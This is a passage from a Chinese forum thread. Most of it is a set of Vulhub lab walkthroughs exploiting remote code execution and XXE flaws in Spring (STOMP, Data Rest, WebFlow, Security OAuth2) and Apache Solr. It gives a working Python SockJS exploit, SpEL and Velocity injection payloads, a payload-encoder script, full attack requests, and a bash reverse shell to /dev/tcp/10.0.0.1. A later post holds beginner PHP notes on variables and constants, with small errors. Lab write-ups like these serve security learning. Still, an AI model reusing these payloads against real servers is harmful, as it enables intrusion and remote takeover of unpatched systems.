                'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
            }
            self.t = int(time.time()*1000)

        def run(self):
            url = f'{self.base}/htmlfile?c=_jp.vulhub'
            response = self.session.get(url, stream=True)
            for line in response.iter_lines():
                time.sleep(0.5)
       
        def send(self, command, headers, body=''):
            data = [command.upper(), '\n']

            data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
            
            data.append('\n\n')
            data.append(body)
            data.append('\x00')
            data = json.dumps([''.join(data)])

            response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
            if response.status_code != 204:
                logging.info(f"send '{command}' data error.")
            else:
                logging.info(f"send '{command}' data success.")

        def __del__(self):
            self.session.close()


    sockjs = SockJS('http://your-ip:8080/gs-guide-websocket')
    sockjs.start()
    time.sleep(1)

    sockjs.send('connect', {
        'accept-version': '1.1,1.0',
        'heart-beat': '10000,10000'
    })
    sockjs.send('subscribe', {
        'selector': "T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')",
        'id': 'sub-0',
        'destination': '/topic/greetings'
    })

    data = json.dumps({'name': 'vulhub'})
    sockjs.send('send', {
        'content-length': len(data),
        'destination': '/app/hello'
    }, data)
    ```

    执行:

    ```
    ./exploit.py
    INFO:root:send 'connect' data success.
    INFO:root:send 'subscribe' data success.
    INFO:root:send 'send' data success.

    ```

    ![image-20211130215655925](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130215655925.png)

    进入容器

    ```
    docker-compose exec spring bash
    ```

    可见 /tmp/success 已成功创建:

    ![image-20211130215725188](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130215725188.png)

    ```
    docker-compose exec spring bash
    root@3dffd5ee5248:/# ls -al /tmp
    total 24
    drwxrwxrwt 1 root root 4096 Nov 30 13:55 .
    drwxr-xr-x 1 root root 4096 Nov 30 13:40 ..
    drwxr-xr-x 1 root root 4096 Nov 30 13:40 hsperfdata_root
    -rw-r--r-- 1 root root    0 Nov 30 13:55 success
    drwxr-xr-x 2 root root 4096 Nov 30 13:40 tomcat-docbase.5274282439693286739.8080
    drwxr-xr-x 3 root root 4096 Nov 30 13:40 tomcat.5309309978972699749.8080

    ```


    # Spring Data Rest 远程命令执行漏洞(CVE-2017-8046)            

    等待环境启动完成,然后访问 http://your-ip:8080/ 即可看到 json 格式的返回值,说明这是一个 Restful 风格的 API 服务器。

    ![image-20211130213525148](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130213525148.png)



    访问 http://your-ip:8080/customers/1,看到一个资源:

    ![image-20211130213550351](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130213550351.png)

    ```
    firstname        "Dave"
    lastname        "Matthews"
    gender                "MALE"
    address       
    street                "4711 Some Place"
    zipCode                "54321"
    city                "Charlottesville"
    state                "VA"
    _links       
    self       
    href                "http://127.0.0.1:8080/customers/1"
    customer       
    href                "http://127.0.0.1:8080/customers/1"
    ```

    我们使用 PATCH 请求来修改之:

    ```
    PATCH /customers/1 HTTP/1.1
    Host: localhost:8080
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/json-patch+json
    Content-Length: 202

    [{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]
    ```

    得到如下信息:

    ![image-20211130213828127](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130213828127.png)

    path 的值是 SpEL 表达式,发送上述数据包,将执行

    ```
    new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}
    ```

    表示的命令

    ```
    touch /tmp/success
    ```

    然后进入容器

    ```
    docker-compose exec spring bash
    ```

    看看:

    ![image-20211130213851828](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130213851828.png)

    ```
    docker-compose exec spring bash
    root@bd3c31cb3934:/# ls /tmp
    hsperfdata_root  success  tomcat-docbase.4844392924623276408.8080  tomcat.9020734524709781446.8080

    ```

    可见,success 成功创建。



    将 bytecode 改成反弹 shell 的命令(注意:Java 反弹 shell 的限制与绕过方式:https://www.jackson-t.ca/runtime-exec-payloads.html),即可成功弹回




    # Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)            

    等待环境启动后,访问 http://your-ip:8080,将看到一个酒店预订的页面,这是 spring-webflow 官方给的简单示例:

    ![image-20211130212648674](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130212648674.png)

    首先访问 http://your-ip:8080/login,用页面左边给出的任意一个账号 / 密码登录系统:

    ![image-20211130212658679](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130212658679.png)



    然后访问 id 为 1 的酒店 http://your-ip:8080/hotels/1,点击预订按钮 “Book Hotel”,填写相关信息后点击 “Process”(从这一步,其实 WebFlow 就正式开始了):

    ![image-20211130212723422](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130212723422.png)

    这些是账号密码:

    ```
        keith/melbourne
        erwin/leuven
        jeremy/atlanta
        scott/rochester

    ```

    ![image-20211130212905089](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130212905089.png)

    ![image-20211130212919275](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130212919275.png)

    再点击确认 “Confirm”:

    ![image-20211130212930891](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130212930891.png)



    此时抓包,抓到一个 POST 数据包,我们向其中添加一个字段(也就是反弹 shell 的 POC):

    ```
    _(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/10.0.0.1/21 0>&1")).start()=vulhub
    (注意:别忘记 URL 编码)
    ```

    ![image-20211130213055859](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130213055859.png)



    ```
    POST /hotels/booking?execution=e2s2 HTTP/1.1

    Host: 127.0.0.1:8080

    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0

    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

    Accept-Language: en-US,en;q=0.5

    Accept-Encoding: gzip, deflate

    Content-Type: application/x-www-form-urlencoded

    Content-Length: 158

    Origin: http://127.0.0.1:8080

    Connection: close

    Referer: http://127.0.0.1:8080/hotels/booking?execution=e2s2

    Cookie: csrftoken=Nm7bpILExMBfV8xOArhuh0D10Oov2jmUMc79gkBd5hLFRgSs0yJA6sgOdka2f7T8; JSESSIONID=20EEA2CD5438AE6286EDF61A6B0F38C8

    Upgrade-Insecure-Requests: 1



    _eventId_confirm=&_csrf=0b306264-30b3-49a0-b37c-b194a01162df_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/10.0.0.1/21 0>&1")).start()=vulhu
    ```

    成功执行,获得 shell

    ![image-20211130213150068](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130213150068.png)

    ```
    HTTP/1.1 403 Forbidden
    Server: Apache-Coyote/1.1
    X-Content-Type-Options: nosniff
    X-XSS-Protection: 1; mode=block
    Cache-Control: no-cache, no-store, max-age=0, must-revalidate
    Pragma: no-cache
    Expires: 0
    X-Frame-Options: DENY
    Content-Type: text/html;charset=utf-8
    Content-Language: en
    Content-Length: 1418
    Date: Tue, 30 Nov 2021 13:31:05 GMT
    Connection: close

    <!DOCTYPE html><html><head><title>Apache Tomcat/8.0.43 - Error report</title><style type="text/css">H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}.line {height: 1px; background-color: #525D76; border: none;}</style> </head><body><h1>HTTP Status 403 - Invalid CSRF Token '0b306264-30b3-49a0-b37c-b194a01162df_(new java.lang.ProcessBuilder(&quot;bash&quot;,&quot;-c&quot;,&quot;bash -i &gt;' was found on the request parameter '_csrf' or header 'X-CSRF-TOKEN'.</h1><div class="line"></div><p><b>type</b> Status report</p><p><b>message</b> <u>Invalid CSRF Token '0b306264-30b3-49a0-b37c-b194a01162df_(new java.lang.ProcessBuilder(&quot;bash&quot;,&quot;-c&quot;,&quot;bash -i &gt;' was found on the request parameter '_csrf' or header 'X-CSRF-TOKEN'.</u></p><p><b>description</b> <u>Access to the specified resource has been forbidden.</u></p><hr class="line"><h3>Apache Tomcat/8.0.43</h3></body></html>
    ```


    # Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)            

    启动完成后,访问 http://your-ip:8080/ 即可看到 web 页面。

    ![image-20211130210709252](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130210709252.png)



    访问 http://your-ip:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test。首先需要填写用户名和密码,我们这里填入 admin:admin 即可:

    ![image-20211130210755398](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130210755398.png)

    可见,我们输入是 SpEL 表达式 ${233*233} 已经成功执行并返回结果:

    ![image-20211130210813555](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130210813555.png)

    ```
    OAuth Error

    error="unsupported_response_type", error_description="Unsupported response types: [54289]"
    ```

    然后,我们使用 poc.py 来生成反弹 shell 的 POC(注意:Java 反弹 shell 的限制与绕过方式:https://www.jackson-t.ca/runtime-exec-payloads.html):

    poc代码如下:

    ```
    #!/usr/bin/env python

    message = input('Enter message to encode:')

    poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])

    for ch in message[1:]:
       poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)

    poc += ')}'

    print(poc)
    ```

    ![image-20211130211808986](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130211808986.png)

    如上图,生成了一大串 SpEL 语句:

    ```
    ${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(80)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}

    ```

    附带上这个 SpEL 语句,访问成功弹回 shell






    # Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)

    服务启动后,访问 http://your-ip:8983 即可查看到一个无需权限的 Apache Solr 服务。



    ![image-20211130205613995](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130205613995.png)



    默认情况下 **params.resource.loader.enabled** 配置未打开,无法使用自定义模板。我们先通过如下 API 获取所有的核心:

    ```
    http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json
    ```

    ![image-20211130205651571](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130205651571.png)



    ```
    {
      "responseHeader":{
        "status":0,
        "QTime":0},
      "initFailures":{},
      "status":{
        "demo":{
          "name":"demo",
          "instanceDir":"/var/solr/data/demo",
          "dataDir":"/var/solr/data/demo/data/",
          "config":"solrconfig.xml",
          "schema":"managed-schema",
          "startTime":"2021-11-30T12:53:53.685Z",
          "uptime":167660}}}

    ```



    Vulhub 里唯一的核心是 demo:

    通过如下请求开启 **params.resource.loader.enabled**,其中 API 路径包含刚才获取的 core 名称:

    ```
    POST /solr/demo/config HTTP/1.1
    Host: solr:8983
    Content-Type: application/json
    Content-Length: 259

    {
      "update-queryresponsewriter": {
        "startup": "lazy",
        "name": "velocity",
        "class": "solr.VelocityResponseWriter",
        "template.base.dir": "",
        "solr.resource.loader.enabled": "true",
        "params.resource.loader.enabled": "true"
      }
    }
    ```

    得到如下页面:

    ```
    {
      "responseHeader":{
        "status":0,
        "QTime":3042},
      "WARNING":"This response format is experimental.  It is likely to change in the future."}

    ```

    ![image-20211130210011488](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130210011488.png)





    之后,注入 Velocity 模板即可执行任意命令:

    ```
    http://your-ip:8983/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
    ```

    得到如下信息:

    ![image-20211130210032156](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130210032156.png)

    ```
    0 uid=8983(solr) gid=8983(solr) groups=8983(solr)
    ```



    # Apache Solr 远程命令执行漏洞(CVE-2019-0193)



    Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。此次漏洞出现在 Apache Solr 的 DataImportHandler,该模块是一个可选但常用的模块,用于从数据库和其他源中提取数据。它具有一个功能,其中所有的 DIH 配置都可以通过外部请求的 dataConfig 参数来设置。由于 DIH 配置可以包含脚本,因此攻击者可以通过构造危险的请求,从而造成远程命令执行。



    运行漏洞环境:

    ```
    docker-compose up -d
    docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
    ```

    命令执行成功后,需要等待一会,之后访问 http://your-ip:8983/ 即可查看到 Apache solr 的管理页面,无需登录。

    打开后是这样的:

    ![image-20211130202828403](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130202828403.png)



    如上图所示,首先打开刚刚创建好的 test 核心,选择 Dataimport 功能并选择 debug 模式:

    (记得勾选上clean、commit、以及debug选项)

    ![image-20211130204035586](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130204035586.png)



    填入以下 POC:

    ```
    <dataConfig>
      <dataSource type="URLDataSource"/>

      <script><![CDATA[
              function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");
              }
      ]]></script>

      <document>
        <entity name="stackoverflow"
                url="https://stackoverflow.com/feeds/tag/solr"
                processor="XPathEntityProcessor"
                forEach="/feed"
                transformer="script:poc" />
      </document>
    </dataConfig>
    ```

    ![image-20211130204539694](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130204539694.png)

    点击 **Execute with this Confuguration** 后,将数据包修改为如下内容:

    ```
    POST /solr/test/dataimport?_=1565835261600&indent=on&wt=json HTTP/1.1
    Host: localhost:8983
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
    Accept: application/json, text/plain, */*
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Content-type: application/x-www-form-urlencoded
    X-Requested-With: XMLHttpRequest
    Content-Length: 679
    Connection: close
    Referer: http://localhost:8983/solr/
    Cookie: csrftoken=gzcSR6Sj3SWd3v4ZxmV5OcZuPKbOhI6CMpgp5vIMvr5wQAL4stMtxJqL2sUE8INi; sessionid=snzojzqa5zn187oghf06z6xodulpohpr

    command=full-import&verbose=false&clean=false&commit=true&debug=true&core=test&dataConfig=%3CdataConfig%3E%0A++%3CdataSource+type%3D%22URLDataSource%22%2F%3E%0A++%3Cscript%3E%3C!%5BCDATA%5B%0A++++++++++function+poc()%7B+java.lang.Runtime.getRuntime().exec(%22touch+%2Ftmp%2Fsuccess%22)%3B%0A++++++++++%7D%0A++%5D%5D%3E%3C%2Fscript%3E%0A++%3Cdocument%3E%0A++++%3Centity+name%3D%22stackoverflow%22%0A++++++++++++url%3D%22https%3A%2F%2Fstackoverflow.com%2Ffeeds%2Ftag%2Fsolr%22%0A++++++++++++processor%3D%22XPathEntityProcessor%22%0A++++++++++++forEach%3D%22%2Ffeed%22%0A++++++++++++transformer%3D%22script%3Apoc%22+%2F%3E%0A++%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E&name=dataimport
    ```



    ![image-20211130204742324](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130204742324.png)



    执行 docker-compose exec solr ls /tmp,可见 /tmp/success 已成功创建:

    ```
    docker-compose exec solr bash                                                            
    solr@63eb300f7325:/opt/solr-8.1.1$ ls /tmp
    gnupg_home  hsperfdata_root  hsperfdata_solr  jetty-0.0.0.0-8983-webapp-_solr-any-9253252445357285133.dir  start_12196526144997497806.properties
    solr@63eb300f7325:/opt/solr-8.1.1$ ls /tmp
    gnupg_home  hsperfdata_root  hsperfdata_solr  jetty-0.0.0.0-8983-webapp-_solr-any-9253252445357285133.dir  start_12196526144997497806.properties  success
    ```



    ![image-20211130204756299](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130204756299.png)


    # Apache Solr 远程命令执行漏洞(CVE-2017-12629)            

    打开后和上一个漏洞的页面一样,然后我才发现,这俩的CVE编号一样。。。。

    > Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过 Http 利用 XML 加到一个搜索集合中。查询该集合也是通过 http 收到一个 XML/JSON 响应来实现。此次 7.1.0 之前版本总共爆出两个漏洞:XML 实体扩展漏洞(XXE)和远程命令执行漏洞(RCE),二者可以连接成利用链,编号均为 CVE-2017-12629。
    >
    > 本环境测试 RCE 漏洞。

    打开后是这样的:

    ![image-20211130201453534](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130201453534.png)

    用burpsuite抓包,将数据包修改为如下内容:

    ```
    POST /solr/demo/config HTTP/1.1
    Host: your-ip
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Length: 158

    {"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}}


    ```



    然后进行 update 操作,触发刚才添加的 listener:

    ```
    POST /solr/demo/update HTTP/1.1
    Host: your-ip
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/json
    Content-Length: 15

    [{"id":"test"}]


    ```

    执行 `docker-compose exec solr bash` 进入容器,可见 `/tmp/success` 已成功创建:

    ```
    docker-compose exec solr bash
    solr@9bd045208f83:/opt/solr$ ls -al /tmp
    total 24
    drwxrwxrwt 1 root root 4096 Nov 30 12:16 .
    drwxr-xr-x 1 root root 4096 Nov 30 12:13 ..
    drwxr-xr-x 1 root root 4096 Nov  4  2017 hsperfdata_root
    drwxr-xr-x 2 solr solr 4096 Nov 30 12:13 hsperfdata_solr
    drwxr-xr-x 2 solr solr 4096 Nov 30 12:13 jetty-0.0.0.0-8983-webapp-_solr-any-6852246268375770645.dir
    -rw------- 1 solr solr  165 Nov 30 12:13 start_6440130829161925491.properties
    -rw-r--r-- 1 solr solr    0 Nov 30 12:16 success

    ```

    ![image-20211130201813100](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130201813100.png)


    # Apache solr XML 实体注入漏洞(CVE-2017-12629)            

    命令执行成功后,需要等待一会,之后访问 http://your-ip:8983/ 即可查看到 Apache solr 的管理页面,无需登录。

    ![image-20211130144642415](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211130144642415.png)

    由于返回包中不包含我们传入的 XML 中的信息,所以这是一个 Blind XXE 漏洞,我们发送如下数据包(自行修改其中的 XXE Payload):

    ```
    GET /solr/demo/select?q=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C!DOCTYPE%20root%20%5B%0A%3C!ENTITY%20%25%20remote%20SYSTEM%20%22https%3A%2F%2Fbaidu.com%2F%22%3E%0A%25remote%3B%5D%3E%0A%3Croot%2F%3E&wt=xml&defType=xmlparser HTTP/1.1
    Host: 127.0.0.1:8983
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close


    ```

    可接受到 Java 发来的请求:





    利用 Error Based XXE 读取文件:

    回复

    使用道具 举报

    249

    主题

    299

    帖子

    1391

    积分

    金牌会员

    Rank: 6Rank: 6

    积分
    1391
     楼主| 发表于 2021-12-1 22:27:09 | 显示全部楼层
    系统学习PHP的第一天(参考视频:黑马程序员PHP零基础入门到精通教程https://www.bilibili.com/video/B ... id_from=333.337.0.0

    # 变量

    PHP是一种动态网站开发的脚本,动态语言是交互性,会有数据的传递。而数据传递的前提是PHP能够自己存储数据(临时存储)



    ## 基本概念

    是计算机语言中能够**存储计算结果**或者能**表示抽象概念**。变量可以通过变量名来访问。在指令式语言中,**变量通常是可变的**

    - 变量是用于存储数据的
    - 变量是有名字的
    - 变量是通过名字来访问的:数据
    - 变量是可以改变的:数据



    ## 使用

    PHP中的变量需要$符号

    1. 定义:在系统中增加对应的变量名字(内存)

            ```php
            $var                //定义变量
            $var1=2     //定义同时赋值
            ```

           

    2. 赋值:可以将数据赋值给变量名(可以在定义的同时完成)

    3. 可以通过变量名访问存储的数据

            ```php
            echo $var1;
            ```

           

    4. 可以将变量从内存中删除

            ```
            //使用unset(变量)
            unset($var2);
            ```

           

    ## 命名规则

    1. 在PHP中变量名字必须以$开始
    2. 名字由字母、数字和下划线构成,但是不能以数字开头
    3. 在PHP中本身允许中文变量(不建议使用中文变量)



    ## 预定义变量

    预定义变量:提前定义的变量,系统定义的变量,存储许多需要用到的数据(预定义变量都是数组)

    - **$_GET**:获取所有表单以get方式提交的数据
    - **$_POST**:post提交的数据都会保存在此
    - **$_REQUEST**:get和post提交的都会保存
    - $GLOBALS:PHP中的所有全局变量
    - **$_SERVER**:服务器信息
    - **$_SESSION**:session会话数据
    - **$_COOKIE**:cookie会话信息
    - $_ENV:环境信息
    - $_FILES:用户上传的文件信息



    ## 可变变量

    可变变量:如果一个变量保存的值刚好为另一个变量的名字,name可以直接通过访问一个变量得到另一个变量的值:在变量前面多加一个$符号

    ```
    $a='b';
    $b='bb';


    echo  $$a->bb
    ```





    ## 变量传值

    变量传值:将一个变量赋值给另一个变量

    有两种方法:

    - 值传递:将变量保存的值复制一份,然后将新的值给另外一个变量保存(两个变量没有关系)
    - 引用传递:将变量保存的值所在的内存空间的地址传递给另一个变量:两个变量指向同一块内存空间(两个变量是同一个值)





    ### 内存分区

    - 栈区:程序可以操作的内存部分(不储存数据,运行程序代码),很少,但是很快
    - 代码段:存储程序的内存部分(不执行)
    - 数据段:存储普通数据(全局区和静态区),相对栈区较大
    - 堆区:存储复杂数据,空间大,但是效率低





    ### 代码运行步骤

    ```
    <?php
    $a=1;
    $b=$a;//值传递


    $b=2;
    echo $a,$b;//1,2
    ```

    值传递运行步骤:

    1. 代码装载:从脚本文件中将代码读取出来,进行编译,将编译后的结果(字节码)放在代码段中
    2. 代码执行:从代码段中一行一行的执行代码
            1. 执行$a=1:在栈区中开辟一块内存储存变量a,在数据段中开辟一块内存保存值1,然后将1所在的位置复制给a
            2. 执行**$**$b=$$a:栈区开辟存储变量b,发现是赋值运算,会取出a中的值,重新在数据段存储,将新值的内存地址赋值给b
            3. 执行$b=2
    3. 脚本执行结束:系统会回收所有内存(栈区,代码段)

    ![image-20211201145650587](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211201145650587.png)







    引用传值:

    ```
    <?php
    $a=1;
    $b=&$a;//值传递


    $b=2;
    echo $a,$b;//1,2
    ```

    ![image-20211201145820461](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211201145820461.png)

    1. 代码装载:从脚本文件中将代码读取出来,进行编译,将编译后的结果(字节码)放在代码段中
    2. 代码执行:从代码段中一行一行的执行代码
            1. 执行$a=1:在栈区中开辟一块内存储存变量a,在数据段中开辟一块内存保存值1,然后将1所在的位置复制给a
            2. 执行**$**$b=$$a:栈区开辟存储变量b,发现是赋值运算,会取出a中的值,重新在数据段存储,将新值的内存地址赋值给b
            3. 执行$b=2
    3. 脚本执行结束:系统会回收所有内存(栈区,代码段)





    # 常量

    常量与变量一样,都是用于保存数据的

    ## 基本概念

    常量是一种在程序运行当中不可改变的量(数据)

    常量一旦定义,通常数据不可改变

    ## 定义形式

    在PHP中常量有两种定义方式(5.3以后)

    1. 使用定义常量的函数:define(“常量名”)

            ```
            define('pi',3.14);
            ```

           

    2. 5.3之后的方法:const 常量名=常量值

            ```
            const pi=3.14;
            ```



    ![image-20211201200412205](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211201200412205.png)

    ### 常量名字命名规则

    1. 不需要$符号
    2. 名字组成可以有字母、数字和下划线组成,不能以数字开头
    3. 名字通常以大写字母为主(区别于变量)
    4. 命名规则比变量松散





    ### 定义方式的区别

    define与const定义常量的区别在于访问权限的区别



    ## 常量使用方法

    常量使用与变量一样:不可改变值(在定义的时候必须赋值)

    有时候还需要使用另一种形式来访问(针对有特殊名字的常量,因为特殊符号的常量不能直接输出),需要用到另一个访问常量的函数:constant(“常量名”)

    ![image-20211201202118097](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211201202118097.png)





    ## 说明

    1. 凡是数据会变化的,那么必须用变量
    2. 数据不一定会变化,可以用常量,但是大多数用变量
    3. 数据不允许修改的,一定用常量





    ## 系统常量

    系统常量:系统帮助用户定义的常量,用户可以直接使用



    常用的几个系统常量:

    - PHP_VESION:PHP版本号
    - PHP_INT_SIZE:整形大小
    - PHP_INT_MAX:整形能表示的最大值(PHP中整形允许负数出现:带符号)

    ![image-20211201203010945](C:\Users\75986\AppData\Roaming\Typora\typora-user-images\image-20211201203010945.png)

    图中的4表示整形所占用的字节数



    ## 魔术常量

    在PHP中还有一些特殊的常量,他们有双下划线开始+常量名+双下划线结束,这种常量称之为魔术常量:魔术常量的值通常会跟着环境的变化而变化,但是用户改变不了

    ### __LINE____

    文件中的当前行号。

    实例

    ```
    <?php echo '这是第 " '  . __LINE__ . ' " 行'; ?>
    ```

    以上实例输出结果为:

    ```
    这是第 “ 2 ” 行
    ```

    ------

    ### __FILE____

    文件的完整路径和文件名。如果用在被包含文件中,则返回被包含的文件名。

